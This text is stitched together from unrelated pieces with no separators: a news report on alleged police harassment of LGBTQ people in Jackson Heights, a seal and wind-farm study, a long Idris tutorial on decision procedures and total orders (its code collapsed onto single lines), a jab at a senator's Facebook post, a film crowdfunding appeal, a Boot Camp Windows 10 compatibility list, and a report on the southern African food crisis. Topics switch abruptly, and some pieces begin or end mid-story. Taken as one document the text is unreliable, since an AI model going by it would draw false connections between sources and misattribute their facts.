“We’ve reached out to them, and they’re aware this report is out,” Claudio-Betancourt said. “We want to engage in a more thorough conversation with them, specifically about the demands that are more directed towards the precincts.”
The study focused more broadly on the entire LGBTQ community in Jackson Heights. A gay man named Enrique told a story about a night out with his boyfriend that ended at the Junction Boulevard 7 train station.
When Enrique realized the train was coming, he grabbed his partner’s hand and gave him a kiss on the lips. As soon as they finished kissing, he said, he saw a police officer walk toward them.
“The officer asked my boyfriend if he thought what we were doing was a good example for the city,” Enrique said in a translated statement. “I quickly passed my ID to the officer, but Freddy did not have his ID.”
Enrique claims that the police then cuffed Freddy, allegedly calling his partner an anti-gay slur and putting him in a van. The outcome of the case was not clear.
“I kept trying to find out why they had arrested Freddy, but the police only kept threatening me that if I did not leave I would be arrested too,” Enrique said. “The only reason we can think of for Freddy’s arrest is the fact that we are gay and that we kissed in public.”
A lawyer for Make the Road said the organization encouraged those who say they’ve been harassed by police to contact the Civilian Complaint Review Board, a civilian agency in charge of investigating cases of stop-and-frisk, though she said some have found the process fruitless.
“There is a level of suspicion in the community, and dissatisfaction that the process is ineffective,” the lawyer, Marika Dias, said.
A spokesman from the CCRB said the agency does not keep complaint records based on sexual orientation, which he said would include transgendered people.
There are no immediate plans to take legal action against the city, Dias said, but she and Claudio-Betancourt both said that they hoped the study would spur broader change.
“Individual cases don’t resolve a systematic problem,” Claudio-Betancourt said. “That can only be done through legislation.”
The new research is conducted by researchers from the University of St Andrews.
The study was published on Monday in the journal Current Biology. In the study, the researchers said that some seals deliberately seek out and forage around offshore wind farms.
The research was carried out by Dr Deborah Russell; a post-doctoral research fellow at the Scottish Oceans Institute at St Andrews. For the study, Dr Russell and her team gathered data from GPS devices attached to Harbor and Grey seals in the North Sea.
"I was shocked when I first saw the stunning grid pattern of a seal track around Sheringham Shoal - an offshore wind farm in Norfolk. You could see that the seal appeared to travel in straight lines between turbines, as if he was checking them out for potential prey and then stopping to forage at certain ones," she said.
"Although marine mammals have previously been observed in the vicinity of offshore man-made structures such as wind farms, as far as we know this is the first time it has been demonstrated that some individuals have an affinity with the structures themselves," added Russell.
"From the data we can infer that these individuals are foraging at the structures, likely as a result of a reef effect. The behavior observed could have implications for both offshore wind farm developments and the decommissioning of oil and gas infrastructure," she noted.
Dr Russell remarked that there is no denying the fact that the study and its findings are notable but the findings cannot rule out the possibility of adverse impacts of the development or presence of man-made structures on marine wildlife.
Posted on November 11, 2016
The goal of this post is to explore ordering relations in Idris. We will discuss the notion of decision procedures, seeing how to decide equality of natural numbers. We will define the notion of minimality of natural numbers and we will show that minimality is a decidable property. Finally, we will generalize the notion of minimality, and implement a verified lexicographic total ordering for vectors.
This post is a literate Idris file, so here is the module declaration and necessary imports.
module Data.Order.Total import Data.Vect %default total %access public export
Decicidable equality
In Idris, decision procedures are really useful. A decision procedure lets you promote value-level information to the type-level, even at runtime. For example, a decision procedure for equality produces a decision of the equality of two things: either they are equal, in which case the procedure has constructed a proof that they are equal; or they are not, in which case the procedure has constructed a proof that the equality leads to a contradiction. (In constructive logic, this is what is understood by a proposition being false.)
We can represent decisions with a datatype.
data Dec : Type -> Type where Yes : prop -> Dec prop No : (prop -> Void) -> Dec prop
Let’s implement a decision for the equality of natural numbers. Recall that natural numbers are defined like this.
||| Natural numbers. data Nat : Type where ||| Zero is a natural number. Z : Nat ||| Every natural number has a successor. S : Nat -> Nat
Obviously, zero is equal to zero, and zero is not equal to the successor of any number, but what if we have two successors? Induction! Let’s formalize this argument with a function that computes the decision, i.e. a decision procedure for the equality of Nat .
decEqNat : (n : Nat) -> (m : Nat) -> Dec (n = m)
This reads “for all natural numbers \(n\), and for all natural numbers \(m\), we can decide whether \(n\) is equal to \(m\)”.
decEqNat Z Z = Yes Refl
Of course zero is equal to zero, and Idris recognizes this. The reason is simple: when we match Z for n and m , type refinement occurs. This means that in the type signature that is specialized for this branch of the function, n and m are replaced by Z as well. Consequently, the goal of the function has changed: we now have to produce Dec (Z = Z) . This is easy: we have Refl : x = x , so unifying x with Z gives us a proof Z = Z . Then, wrapping with Yes gives us a value of type Dec (Z = Z) , as required.
decEqNat (S _) Z = No (\Refl impossible) decEqNat Z (S _) = No (\Refl impossible)
The syntax here is a bit tricky, but the idea is that the successor of a number cannot be zero: because the constructors are different, Idris recognizes that they are not equal. However, we need to show that them being equal is a contradiction.
Suppose we wrote No (\x => ?a) and asked Idris the type of the hole, it would say that x : S _t = Z . Matching with Refl gives the left-hand side type error, because Idris cannot unify S _ with Z . We explicitly mark the case as impossible. But this is the only case for the function! What happens when a function has no valid cases? The intuition is that the function has been proven to be uncallable. When this happens, the result type of the function is arbitrary. Because the function can never be called, it may as well return whatever you like; it’s not like you could ever call it anyway. In particular, we can even produce values of type Void , the type with no value, which is exactly what No requires.
The same reasoning applies to the symmetric case decEqNat Z (S _) = ?a .
At last, we have the inductive case. We are doing induction on both numbers at once. If the two smaller numbers are equal, then it suffices to apply S to both sides of the equality to show that the bigger numbers are equal. Equality is a congruence, meaning that applying a function to both sides of an equality produces another equality. This notion is captured by the function cong : (a = b) -> f a = f b .
decEqNat (S n) (S m) with (decEqNat n m) | Yes eqPrf = Yes (cong eqPrf)
The No case is a bit trickier. Let’s proceed the same way as in the previous case to produce the contradiction.
Writing No (\x => ?a) gives us a goal of Void with the assumptions eqContra : (n = m) -> Void and x : S n = S m . Matching Refl for x causes type refinement to occur: S n must unify with S m . However, Idris can make an additional inference. Since data constructors are injective, Idris infers also that n must unify with m , so the variable m is replaced by n in all our assumptions, giving us that eqContra : (n = n) -> Void . Of course, Refl : n = n , so we can apply Refl to eqContra and get Void , as required.
Using this reasoning gives the following equation.
| No eqContra = No (\Refl => eqContra Refl)
Now suppose we have a natural number coming from runtime - maybe we parsed a number on standard input. We can check that the number is equal to, say, 3 and get either a proof that this is so or that this is a contradiction. This proof can then be used later in the program, helping us on the type level.
Equality is just one kind of relation. Can we generalize the theory we developed for equality to other types of relations? The next simplest relation to study is orderings.
Decidable orderings
There are, very broadly speaking, two kinds of orders: partial orders and total orders. In a partial order, it is possible to have two elements that are not ordered, and we say that are incomparable in that case. In a total order, any two elements are ordered in some way: either the first is “less than” the second, or the second is “less than” the first. I use scare quotes because the ordering can be other than numeric inequality, especially for partial orders. (Also, the strict “less than” on numbers is not a total or partial order, but it’s shorter than writing “no greater than” all the time.)
For example, consider the powerset boolean algebra of the set \(A = \{a, b, c\}\). The elements in the boolean algebra are all possible subsets of this set. The ordering relation is set containment: one set is contained in an other (not to be confused with “is an element of another”) if all its elements are elements of the other set. So \(\{a, b\} \subseteq \{a, b, c\}\). However, neither \(\{a, b\} \subseteq \{b, c\}\) nor \(\{b, c\} \subseteq \{a, b\}\), so this ordering is partial.
To be a partial order, a few properties must be satisfied. 1. The order must be reflexive: every element is “less than” itself 2. The order must be transitive: if \(A\) is “less than” \(B\), and \(B\) is “less than” \(C\), then we can infer that \(A\) is “less than” \(C\). 3. The order must be antisymmetric: if \(A\) is “less than” \(B\) and \(B\) is “less than” \(A\), then we can infer that \(A = B\). You can see for yourself that these properties are satisfied in the powerset boolean algebra.
Total orders have all these same requirements, plus the additional requirement that any two elements can be ordered. Intuitively, the natural numbers are totally ordered by the less-than-or-equal relation.
Intuition isn’t good enough though. Let’s prove it. Here’s the less-than-or-equal relation for Nat . It is based on two ideas: zero is less than any natural, and if we have that a natural is less than another, then we can add one to “both sides”.
data LTE : Nat -> Nat -> Type where LTEZero : LTE Z n LTESucc : LTE n m -> LTE (S n) (S m)
Now let’s write a decision procedure for whether a given natural is less than another one according this relation.
decLte : (n : Nat) -> (m : Nat) -> Dec (LTE n m)
The zero case is easy, as usual. Since zero is less than any other natural, we can use the LTEZero proof immediately.
decLte Z _ = Yes LTEZero
On the other hand, if we have a successor in the first argument and a zero in the second, we have a contradiction. How can a successor of some number be less than or equal to zero? We just match both cases and dispel them as impossible, which Idris confirms because the matches each produce a type error in the left-hand side.
decLte (S _) Z = No (\x => case x of LTEZero impossible ; LTESucc _ impossible)
(Write down the unification constraints produced by the matches to see how the contradiction arises in both cases.)
Finally, we have the inductive case, with successor in both arguments. We set up the induction hypothesis with a recursive call in a with-clause, and then see whether the smaller numbers are ordered or not. If they are, then we can apply the LTESucc rule to infer that the larger ones are too.
decLte (S n) (S m) with (decLte n m) | Yes ltePrf = Yes (LTESucc ltePrf)
In the No case, we must prove that LTE (S n) (S m) -> Void . So we use a lambda to introduce the assumption LTE (S n) (S m) . We can match this assumption with LTESucc p to get p : LTE n m . The No match gives us a proof that the smaller numbers being ordered is a contradiction, so we also have the assumption lteContra : LTE n m -> Void available to us. It will suffice to apply p to lteContra to get Void , as required.
| No lteContra = No (\(LTESucc p) => lteContra p)
With decLte , we can decide whether one number is less than another. However, it turns out that this function cannot be used to decide which of two naturals is minimal! Before continuing to explain why, let’s see what exactly is meant by “minimal”.
||| A shorthand for inequality. (/=) : a -> b -> Type x /= y = Not (x = y) symNeq : (x /= y) -> (y /= x) symNeq neq eq = neq (sym eq) ||| Minimality among naturals. data Minimal : Nat -> Nat -> Type where ||| The first natural is minimal: it is strictly smaller than the second. MinLT : LTE n m -> (n /= m) -> Minimal n m ||| Both are minimal: they are equal. MinEQ : (n = m) -> Minimal n m ||| The second natural is minimal: it is strictly smaller than the first. MinGT : LTE m n -> (n /= m) -> Minimal n m
Now we would like to write a function to decide, given two numbers, which is minimal. This is the total order property for LTE . Here’s the signature of our decision procedure.
decMin : (n : Nat) -> (m : Nat) -> Minimal n m
It might seem surprising that decLte will be useless in implementing this function. Using decLte , an implementation strategy would be to compute a decision on whether the first argument is less than the second, and then compute a decision on whether the second is less than the first. Then four cases arise: Yes/Yes , Yes/No , No/Yes , and No/No . Intuitively, the last case is a contradiction: how can neither number be minimal? Even so, we will be unable to convince Idris that this case is in fact impossible. We would have in that case the assumptions notNM : LTE n m -> Void and notMN : LTE m n -> Void . Since we cannot match on function types, we cannot use matching to tease the contradiction out of the data. The other option then is to build either LTE n m or LTE m n so that we can invoke one our assumptions to produce Void . (If ever you produce Void in a case, you can dispel it with absurd : Void -> a which lets you derive anything.) However we are implementing the function that determines either LTE n m or LTE m n for any n and m ; intuitively we can’t build either such proof just like that.
Instead, we will repeat more or less the same implementation as for decLte and decEqNat and combine them.
decMin Z Z = MinEQ Refl decMin Z (S _) = MinLT LTEZero (\Refl impossible) decMin (S _) Z = MinGT LTEZero (\Refl impossible) decMin (S n) (S m) = l (decMin n m) where l : Minimal n m -> Minimal (S n) (S m) l (MinLT lt neq) = MinLT (LTESucc lt) (\Refl => neq Refl) l (MinEQ eq) = MinEQ (cong eq) l (MinGT gt neq) = MinGT (LTESucc gt) (\Refl => neq Refl)
This formalism of minimality is quite powerful. Thanks to the embedded in/equality proofs, we can use it to easily implement decEqNat
decEqNat' : (n : Nat) -> (m : Nat) -> Dec (n = m) decEqNat' n m with (decMin n m) | MinLT _ neq = No neq | MinEQ eq = Yes eq | MinGT _ neq = No neq
In fact, decMin is so strong that we can use it to implement decLte as well, but we will need to use the fact that the LTE relation is antisymmetric.
lteAntiSym : LTE n m -> LTE m n -> n = m lteAntiSym LTEZero LTEZero = Refl lteAntiSym (LTESucc p) (LTESucc q) = rewrite lteAntiSym p q in Refl decLte' : (n : Nat) -> (m : Nat) -> Dec (LTE n m) decLte' n m with (decMin n m) | MinLT lte _ = Yes lte | MinEQ eq = case eq of Refl => Yes lteRefl | MinGT gte neq = No (\lte => neq (lteAntiSym lte gte))
Overloading total orders
Generalizing minimality
We can generalize the proposition Minimal by refactoring the ordering relation into a type parameter.
data OrderedBy : {a : Type} -> (order : a -> a -> Type) -> (x : a) -> (y : a) -> Type where LT : order x y -> (x /= y) -> OrderedBy order x y EQ : (x = y) -> OrderedBy order x y GT : order y x -> (x /= y) -> OrderedBy order x y
Of course, our Minimal is isomorphic to OrderedBy LTE .
minimalityIsOrderedByLte : Minimal x y -> OrderedBy LTE x y minimalityIsOrderedByLte (MinLT lte neq) = LT lte neq minimalityIsOrderedByLte (MinEQ eq) = EQ eq minimalityIsOrderedByLte (MinGT gte neq) = GT gte neq orderedByLteIsMinimality : OrderedBy LTE x y -> Minimal x y orderedByLteIsMinimality (LT lte neq) = MinLT lte neq orderedByLteIsMinimality (EQ eq) = MinEQ eq orderedByLteIsMinimality (GT gte neq) = MinGT gte neq
I leave it as a (very boring) exercise to demonstrate that these functions are inverses, and to tie this in with Control.Isomorphism .
Overloading the axioms of total orders
We can collect all the axioms of a total ordering on some type into an interface.
interface TotalOrder (a : Type) (order : a -> a -> Type) | order where constructor MkTotalOrder orderRefl : order x x orderTrans : order x y -> order y z -> order x z orderAntiSym : order x y -> order y x -> x = y orderTotal : (x : a) -> (y : a) -> OrderedBy order x y
Of course, our theory of natural numbers with LTE can be made into an implementation of this interface.
TotalOrder Nat LTE where orderRefl = lteRefl orderTrans = lteTransitive orderAntiSym = lteAntiSym orderTotal x y = minimalityIsOrderedByLte (decMin x y)
Ordering vectors
Consider the words “cat” and “dog”: the former comes before the latter, since “c” comes before “d” in alphabetical order. What happens if the first letters are equal? We defer the ordering decision to the substring made by removing the first letter. For example, consider “mouse” and “moose”: since the first two letters are the same, we compare “u” with “o” to conclude the “moose” comes before “mouse”.
The lexicographic order is a generalization of this way of applying alphabetical order. We will show that any two vectors of the same length and containing totally ordered elements (according to any total ordering) are totally ordered by the lexicographic order. First, we need to define the lexicographic order predicate for equal-length vectors.
data Lexicographic : (sub : a -> a -> Type) -> Vect n a -> Vect n a -> Type where LexEqZ : Lexicographic sub [] [] LexEqS : (x = y) -> Lexicographic sub xs ys -> Lexicographic sub (x::xs) (y::ys) LexLT : sub x y -> (x /= y) -> Lexicographic sub (x::xs) (y::ys)
The constructors LexEqZ and LexEqS are there to handle the fact that equal vectors are lexicographically ordered. The LexLT constructor captures the idea that if we find two unequal elements ordered by the underlying relation, and those elements are the heads of arbitrary vectors, then those vectors are lexicographically ordered.
It goes without saying that the proofs for Lexicographic are a bit trickier than for LTE , so let’s look at some examples.
||| The first elements are unequal and ordered by LTE, so the vectors are ||| lexicographically ordered. eg1 : Lexicographic LTE [1, 2, 3] [2, 1, 1] eg1 = LexLT (LTESucc LTEZero) (\Refl impossible) ||| The vectors are equal, so they are lexicographically ordered for any ||| choice of underlying order. eg2 : Lexicographic order ['c', 'a', 't'] ['c', 'a', 't'] eg2 = LexEqS Refl (LexEqS Refl (LexEqS Refl (LexEqZ))) ||| The vectors are equal up to the second element, and are strictly ordered ||| in the third element. eg3 : Lexicographic LTE [1, 2, 3, 1] [1, 2, 5, 1] eg3 = LexEqS Refl (LexEqS Refl (LexLT (LTESucc (LTESucc (LTESucc (LTEZero)))) (\Refl impossible)))
Now let’s show that lexicographic ordering over totally ordered elements is a total order. To do so, we will show that it is reflexive, transitive, antisymmetric, and totally decidable.
lexRefl : {n : Nat} -> {v : Vect n a} -> Lexicographic o v v lexRefl {n=Z} {v=Nil} = LexEqZ lexRefl {n=S n} {v=x::xs} = LexEqS Refl lexRefl
Reflexivity is easy, since we built it into Lexicographic via the LexEqZ and LexEqS constructors. Notice that reflexivity does not depend on any properties of the underlying ordering on the elements in the vectors.
Transitivity is much harder. It will require the transitivity and antisymmetry properties of the underlying ordering. Rather than require OrderTotal on the underlying ordering right away, we can instead just take the transitive law and antisymmetric law as arguments and use them when necessary.
lexTrans' : {a : Type} -> {v1, v2, v3 : Vect n a} -> {order : a -> a -> Type} -> ({x, y, z : a} -> order x y -> order y z -> order x z) -> ({x, y : a} -> order x y -> order y x -> x = y) -> Lexicographic order v1 v2 -> Lexicographic order v2 v3 -> Lexicographic order v1 v3 lexTrans' _ _ LexEqZ LexEqZ = LexEqZ
As usual, these base cases are very easy. Here, the matches cause type refinement on the vectors making them empty. Since v1 ~ [] and v3 ~ [] , we can prove that they’re ordered with LexEqZ .
lexTrans' _ _ (LexLT ord neq) (LexEqS Refl _) = LexLT ord neq lexTrans' _ _ (LexEqS Refl p) (LexLT ord neq) = LexLT ord neq
I’ll focus on the first equation. The first pair of vectors have their first elements ordered and unequal. The second pair of vectors have their first elements identically the same. So the first element of the first vector is also ordered with the first component of the third vector, and is also not equal to it. That’s enough to use LexLT to prove that the first vector is lexicographically ordered with the third one, as required.
lexTrans' trans antisym (LexEqS Refl p) (LexEqS Refl q) = LexEqS Refl (lexTrans' trans antisym p q)
The first elements of the first and second pair of vectors in this case are equal. So the first element of the first vector is equal to the first element of the third. This is almost enough to use LexEqS to show the first vector is lexicographically ordered with the third. We make a recursive call to prove that the tails of the vectors are lexicographically ordered.
lexTrans' trans antisym (LexLT {x} {y} ordl neql) (LexLT {x=y} {y=z} ordr neqr) = LexLT (trans ordl ordr) (\Refl => case antisym ordl ordr of Refl => neql Refl)
Here is where we need to use the properties of the underlying ordering. What we know is that the heads of the first pair of vectors are ordered, and the heads of the second pair of vectors are ordered. Using the transitivity of the underlying ordering, we can prove that the head of the first vector is ordered with the head of the third vector.
Next, we need to prove that the head of the first vector is not equal to the head of the third vector. Let x , y , and z refer to the heads of the first, second, and third vectors respectively. Supposing that x = z , some type refinement occurs, and we get that ordl : order x y and ordr : y x . Using antisymmetry, we can conclude that x = y . Matching on that equality proof unifies x with y , so all occurrences of x in types are replaced with y . Therefore, neql : (x = y) -> Void becomes neql : (y = y) -> Void . We can prove y = y with Refl , so we get produce Void , as required.
Now we can write a version of lexTrans where the properties on the underlying ordering are obtained from TotalOrder instance.
lexTrans : (TotalOrder a order) => {v1, v2, v3 : Vect n a} -> Lexicographic order v1 v2 -> Lexicographic order v2 v3 -> Lexicographic order v1 v3 lexTrans l1 l2 = lexTrans' orderTrans orderAntiSym l1 l2
For antisymmetry of lexicographic ordering, we will proceed in a similar way. We’ll write a general function that explicitly marks which properties of the underlying ordering are needed. Then we can write an easy-to-use version that fills in these functions by requiring a TotalOrder instance on the underlying order.
The antisymmetry proof isn’t very interesting, so I won’t go into as much detail as I did for transitivity. Due to how Lexicographic is designed, the only way we could possibly have both Lexicographic order v w and Lexicographic order w v at the same time is if both such proofs are LexEqS chains. Consequently, the bulk of the antisymmetry proof is showing that anything but chains of LexEqS are impossible, by deriving contradictions. The key difference with earlier “contradiction fishing” is that now we will generally construct Void on the right-hand side and dispel the case by using the function absurd : Void -> a , which lets us derive anything.
lexAntiSym' : {v, w : Vect n a} -> ({x, y : a} -> order x y -> order y x -> x = y) -> Lexicographic order v w -> Lexicographic order w v -> v = w lexAntiSym' _ LexEqZ LexEqZ = Refl lexAntiSym' anti (LexEqS Refl p) (LexEqS Refl q) with (lexAntiSym' anti p q) | Refl = Refl lexAntiSym' _ (LexLT ord neq) (LexEqS Refl q) = absurd (neq Refl) lexAntiSym' _ (LexEqS Refl p) (LexLT ord neq) = absurd (neq Refl) lexAntiSym' anti (LexLT ordl neql) (LexLT ordr neqr) = absurd (neql (anti ordl ordr)) lexAntiSym : TotalOrder a order => {v, w : Vect n a} -> Lexicographic order v w -> Lexicographic order w v -> v = w lexAntiSym = lexAntiSym' orderAntiSym
Last but not least, we need to show that lexicographic ordering is a decidable ordering. Of course, in order to decide the lexicographic ordering of two vectors, we will need to decide the ordering of individual elements according to the underlying order; a function to do just that will be required as an argument yet again, and in a revised version of the lexicographic ordering decision procedure, this function will be supplied by a TotalOrder constraint on the underlying ordering.
decLex' : {a : Type} -> {order : a -> a -> Type} -> ((x : a) -> (y : a) -> OrderedBy order x y) -> (v : Vect n a) -> (w : Vect n a) -> OrderedBy (Lexicographic order) v w decLex' _ Nil Nil = EQ Refl decLex' decOrder (x::xs) (y::ys) with (decOrder x y) | LT lt neq = LT (LexLT lt neq) (\Refl => neq Refl) | GT gt neq = GT (LexLT gt (symNeq neq)) (\Refl => neq Refl) | EQ eq with (decLex' decOrder xs ys) | LT lt neq = LT (LexEqS eq lt) (\Refl => neq Refl) | GT gt neq = GT (LexEqS (sym eq) gt) (\Refl => neq Refl) | EQ eq' = case (eq, eq') of (Refl, Refl) => EQ Refl decLex : TotalOrder a order => (v : Vect n a) -> (w : Vect n a) -> OrderedBy (Lexicographic order) v w decLex = decLex' orderTotal
Finally, we can collect our four proofs into an instance of TotalOrder for Lexicographic order , provided that order is also an instance of TotalOrder .
lexTotal : TotalOrder a order -> TotalOrder (Vect n a) (Lexicographic order) lexTotal _ = MkTotalOrder (\x => lexRefl {v=x}) (\v1, v2, v3 => lexTrans {v1} {v2} {v3}) (\v, w => lexAntiSym {v} {w}) decLex
(I used the explicit form for defining a named implementation, because when using the Haskell-style anonymous form, I would get a type error that made no sense at all.)
Conclusion
We saw how to implement some simple decision procedures on Nat , for equality and for minimality according to LTE . We extended the notion of minimality to describe general total orderings. We captured the notion of total orders in the TotalOrder interface. Finally, we defined the lexicographic ordering for vectors, and proved that it is a total order.
Now-former Minister For Resources And Northern Australia posted on Facebook today saying it has “been such an honour to represent the Australian mining sector over the past year”. Uh, mate, you’re supposed to be representing the people of Queensland and Australia.
In case you’ve missed the current clusterfuck, Canavan had to step down as a minister on Tuesday after it was revealed his mum had supposedly quietly signed him up as a dual Italian-Australian citizen.
Now Canavan was the Resources Minister, so he of course worked closely with the mining sector, but he’s also the government’s most enthusiastic backer of the controversial Adani mine in central Queensland, and coal mining in general. He just loves the stuff.
So his comment that he was representing the Australian mining sector while working as a federal senator should come as no surprise — he even posted a photo of himself in hi-vis gear and a hard hat emblazoned with the logo of a Queensland coal company.
Here’s the full post:
The comment did not go down well on Twitter.
it's been an honour to represent my donors, lobbyists, foreign investors. they are the true heroes [advisor waving] OHH also my constituents — the result respecter (@rpy) July 27, 2017
Everything wrong in Canberra. Canavan been "representing mining sector over past year". supposed to represent the people of Qld #auspol pic.twitter.com/jRHTzpvxn6 — Canberra KNAG (@CanberraKNAG) July 27, 2017
"…an honour to represent the Australian mining sector…" Pretty sure Canavan was supposed to be representing people of Queensland? ? https://t.co/5qrGJgKA2k — Cranky Noely (@YaThinkN) July 27, 2017
In case there was any ambiguity about who Matt Canavan represents. pic.twitter.com/MCLscxU0MO — Sam Regester (@samregester) July 27, 2017
From producer/ actor David Henry Gerson:
“I loved Matthew’s wit and voice in THE WOODS. The dynamic of the people involved, and the collaborative and immersive way it was made really spoke to me. I immediately knew I wanted to build a project with him, and try to evoke a similar environment of creation.”
Matthew Lessner and Aaron Kovalchik in a set still by Zach Lanoue
From writer/ director Matthew Lessner:
"Shortly after we met at Sundance, David invited me out to spend some time on Martha's Vineyard to try and develop a new project.
It was soon agreed that we would make a kind of horror film about the things that were terrifying me most at the time, which were not slashers or monsters, but the inner reaches of my own mind, the unanswerable questions that kept me up at night. Questions like, “Am I really me?” “Do I actually exist?” “Can you ever really know anyone?” “Why are Snickers so good?” “Do I really have free will?” “If so, why can’t I stop thinking about Crystal Pepsi?”
AUTOMATIC AT SEA is a film intended to evoke questions. It’s a film designed to make you feel more than think.
While developing the film we shot a short film called CHAPEL PERILOUS as a kind of test collaboration. Aesthetically and tonally it was quite different from the future feature, but it explored some of the same themes. CHAPEL PERILOUS went on to premiere at Sundance where it won the Audience Award and wound up online as a Vimeo Staff Pick. You can watch it above.
Last summer, we had the good fortune to be invited to participate in the US in Progress, Paris program, screening our work-in-progress edit of AUTOMATIC AT SEA along with 3 other fantastic films. It was an amazing experience and an invaluable learning opportunity.
AUTOMATIC AT SEA is shot and edited, but in order to finish post-production and bring it to screens your support is essential. (If you’re not of the film world, post-production might not be something you think much of when enjoying a film, but it is essential to creating a polished finished product, and unfortunately it is not cheap.)
The only reason this film exists is because all those who have been involved until this point were interested in taking a risk on something new and unique. And now we ask you, stranger, to join us. Won’t you?
WHO ARE WE?
We are a group of filmmakers and artists whose work has screened at Film Festivals: Sundance, SXSW, Tribeca, Venice... on Television: Adult Swim, Canal +, Lifetime, MTV, NBC, PBS... and in Museums: the Pompidou Museum in Paris, the Museum of Modern Art in NY... We come from Australia, Boston, Denmark, LA, Martha's Vineyard, NY, Oregon, and Sweden and we ask for your support to complete our film.
CAST:
Breeda Wool (UnREAL, AWOL) Livia Hiselius, David Henry Gerson, and with Malia Scharf, and Evan Louison
CREW:
Written and Directed by Matthew Lessner / Produced by Vanessa Gazy, David Henry Gerson, and Beatrice von Schwerin / Cinematography by Aaron Kovalchik (‘The Eric Andre Show’) / Assistant Camera by Zach Lanoue / Assistant Directing by Joshua Voegelin / Production Design by Morgan Rhebock / Art Direction by Olivia Ives-Flores / Styling by Krissie Torgerson / Sound Mixing by Greg Mailloux / Production Assistance by Emma Goldberg, Jared Hinton, and Elina Street / Music by Rene Hell / Editing by Nick Ellsberg ('The Tree of Life')
AUTOMATIC AT SEA tote bag designed by Alina Vergnano
Just like PC users, Mac Boot Camp users with installs of a genuine qualifying (Windows 7 or newer) Windows OS can upgrade to Windows 10 for free. A guide to installing Windows 10 using Boot Camp is now available on the Apple support website. The following computers, when/if updated to OS X Yosemite, support Windows 10:
MacBook Pro (Retina, 15-inch, Mid 2015)
MacBook Pro (Retina, 13-inch, Early 2015)
MacBook Pro (Retina, 15-inch, Mid 2014)
MacBook Pro (Retina, 13-inch, Mid 2014)
MacBook Pro (Retina, 15-inch, Late 2013)
MacBook Pro (Retina, 13-inch, Late 2013)
MacBook Pro (Retina, 15-inch, Early 2013)
MacBook Pro (Retina, 13-inch, Early 2013)
MacBook Pro (Retina, 13-inch, Late 2012)
MacBook Pro (Retina, Mid 2012)
MacBook Pro (13-inch, Mid 2012) MacBook Pro (15-inch, Mid 2012)
MacBook Air (13-inch, Early 2015)
MacBook Air (11-inch, Early 2015)
MacBook Air (13-inch, Early 2014)
MacBook Air (11-inch, Early 2014)
MacBook Air (13-inch, Mid 2013)
MacBook Air (11-inch, Mid 2013)
MacBook Air (13-inch, Mid 2012)
MacBook Air (11-inch, Mid 2012)
MacBook (Retina, 12-inch, Early 2015) iMac (Retina 5k, 27-inch, Mid 2015)
iMac (Retina 5K, 27-inch, Late 2014)
iMac (21.5-inch, Mid 2014)
iMac (27-inch, Late 2013)
iMac (21.5-inch, Late 2013)
iMac (27-inch, Late 2012)
iMac (21.5-inch, Late 2012) Mac mini (Late 2014)
Mac mini Server (Late 2012)
Mac mini (Late 2012) Mac Pro (Late 2013)
Browsing the above list, it looks to cover any Apple Mac computer launched from 2012 onwards.
Boot Camp users have the option to install Windows 10 afresh or perform an update. This time around only 64-bit Windows 10 is supported, so there are implications to those wishing to upgrade from a previous 32-bit Windows install – you can't do it, you will have to start from scratch. Apple has provided a full walkthrough of the procedure for Boot Camp Windows users, whatever the case.
Once you get Windows 10 running on your Mac you might be happy to know that the following ports/peripherals are all supported:
USB 3
USB-C on the MacBook (Retina, 12-inch, Early 2015)
Thunderbolt
built-in SD or SDXC card slot
built-in or USB Apple SuperDrive
your Apple keyboard, trackpad, and mouse
The immediate cause of the world’s biggest food crisis in many years has been El Niño, the natural phenomenon that occurs every few years, disrupting weather patterns across the world. What began in 2014 and continued through this year has led to record temperatures and widespread droughts followed by floods. The human fallout has been extreme malnutrition and disease.
But this food crisis cannot be attributed entirely to natural causes. Many African and western countries have encouraged farmers to grow and eat a single staple crop, maize, which is not suited to drought or to warmer temperatures.
The food crisis is expected to peak over the next two months, but governments around the world have pledged only half the money needed to feed everyone. While few people are expected to die of starvation, millions of children will be malnourished, and this will adversely affect their education and long-term health.
Last month, I visited three of the countries on the frontline of the crisis – Malawi, Zimbabwe and Zambia – to share maize and other meals with their farmers, humanitarians, villagers, politicians and traders. This is what they told me.
Elvas Munthali, a Malawian aid worker, with her meal of nsima [made from maize flour and water], chicken, beans and spinach. She works for Concern Worldwide. We ate at a restaurant in Njale, near the border with Mozambique.
I cover villages in the very south of Malawi. I am shocked at what I am seeing. When I visit people, they say, “We have no seeds, no food.” But we cannot reach everyone. I went to one house this week where the woman’s husband had died and she had four children to feed. She hadn’t eaten all day. She had HIV and no strength, but because she had to find food, she had to work in the fields.
I am very proud to be an aid worker in my own country. People tell me about their lives, and I feel I am helping. I sit down and eat what they are eating. For me, it is a small thing, but for them, it is something big.
People don’t have a nutritious diet; they find it hard to get hold of meat and oils. It is expensive to eat properly. The climate is changing: now, we plant maize at the end of December or even January; we used to do that in November.
Like most people in Malawi, I know what it is to go hungry. My family depended on farming; in the hungry season, we would take tea and have very little to eat. I am supporting my brother through school now, because my parents have no money.
I like my nsima. I eat it every day, even Christmas Day – I far prefer the taste and texture to anything else.
Alufufasi Yalu lives in Nkhundi, southern Malawi. We meet at a house she has been lent by a family in the village. She has no food.
There are five of us in my household. I have only one child who is four years old, but my sister is here with her two children. Other people in the village receive food aid, but I have to beg because I was missed off the list when they were taking names. I was asleep at the time. I sleep a lot because I have HIV. The drugs, which I take every night, make me extra weak and hungry.
My child is also very weak. We have had some water today, but I don’t know what we will eat. Someone might give us a sweet potato. There are mangoes in the trees, but someone needs to go up there for them, and I can’t.
I’ve been told I cannot be put on to a feeding programme until March, and I don’t think I will live that long. Sometimes a neighbour gives me porridge. The children depend on a school feeding programme; they help each other.
Nelson Mudzingwa is a small farmer in central Zimbabwe. We meet for lunch in a suburb of Harare.
I am one of the 400,000 people who benefited from Robert Mugabe’s land reform. The land I farm, eight hectares [19.76 acres] near Masvingo, is about 300km from Harare; it used to be part of a 15,000-hectare estate occupied by just three British farmers. They were good, but they exported all their crops to Europe. There are now 500 families here, growing food for Zimbabweans.
It is good land. I grow maize, sorghum, cow peas, fruit and millet, and raise livestock. This year we got a little rain in February, but had our worst drought in years and I lost some cattle. Still, my family never went short of food. Most of what we eat comes from the farm.
We practise agro-ecological farming and are part of a farmers’ group called Zimsoff. We host the secretariat of La Via Campesina, the global peasants’ movement, which has 300 million members around the world. On the farm, we collect every drop of water; we have dug canals and made dams from earth. We look after the soil to prevent erosion, and we store the seed. We feed the soil with organic manure, not with poisons.
Facebook Twitter Pinterest Mudzingwa’s meal of rice, vegetables and chicken
